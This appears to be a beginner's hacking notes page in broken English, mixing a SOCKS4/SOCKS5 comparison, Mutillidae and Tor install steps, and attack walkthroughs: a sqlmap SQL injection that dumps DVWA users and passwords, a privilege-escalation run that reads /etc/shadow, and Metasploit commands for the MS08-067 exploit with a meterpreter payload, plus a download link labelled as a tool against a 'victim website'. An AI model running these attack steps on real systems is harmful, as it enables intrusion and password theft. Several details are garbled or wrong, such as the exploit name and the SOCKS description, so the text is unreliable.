InfoGat To Victim Website

 right click on the link, open new tab

http://www.4shared.com/rar/Id8mpUHh/InfoGat.html

The Difference Socks 4 And Socks 5

1. Socks 4
is a simple extension to SOCKS 4 protocol that allows a client that cannot resolve the destination host's domain name to specify it.

2. advantage Socks 5 this.

provide additional security trough authentication.

socks5 is compatible with most of TCP application.

provide an base firewall for authenticate input and output packet, and

provide Network Address Translation (NAT).

support for UDP and IPv6.

how to use SQL injection

1. open your mantra as browser and brupsuite
2. type localhost, and enter..
3. your login and then your choose tab SQL Injection, type random in the box, then click submit.
4. in url address, your copy..

5. open tool sqlmap in backtrack , type "./sqlmap.py -u http "target" --cookie "cookie target" --dbs --D dvwa, this result..
you can have cookie with drupsuite in tab proxy

6. have 4 database on active, we will see tables in active on database

7. after then, we will users and password in table users

Install Mutillidae

1. download software on internet..
2. after download your extrax our software

3. will create folder "mutillidae"

4. copy folder "mutillidae" to /root/var/www

5, for check your open browser , type localhost/mutillidae, if successfuly will appear this picture

Install The Onion Router (TOR)

1. Your Download File TOR in www.torproject.org

2. choose file in support your system computer befor download software

3. after download, your extrak software in terminal, this how it
     you move direktor on direktor D, and then extrax file "tar -zvxf 
 tor-browser-gnu-linux-i686-2.2.39-1-dev-en-US.tar.gz"

4. open folder after exktraxk in direktori D, right clik on start-on-browser  open with kwrite

5. change "TOR in started" in type "****** ",this picture more details

 6. click again on shoarcut "start-on-browser"
7. will view

Meeting 4 privilege escalation

1. Privilege Escalation , first we scan ip address target, yess we can ip address target this 192.168.56.5 and open port 22

2. open tool exploitDB, we search file tar which will exploit

3. open your information with cat

4.open with python and type result extrak

5. searchploit again, now webadmin

6. and last, open language perl, no ip address , port  /etc/shadow
    /etc/shadow this , storage password collection

Exploit Windows With Metasploit

1. Open metasploit from backtrack 5
2. wait, until show type "msf>"
3. and then , your type " use windows/smb/ms08_087_netapi"
4. if success , will appear  "msf exploit (ms08_067_netapi)"

5. and then, type "set payload windows/meterpreter/bind_tcp"
6. later, type "set RHOST  ip adrress  computer target" example (set RHOST 192.168.1.3 ) enter then  
    type exploit, if appear writing meterpreter this is successfully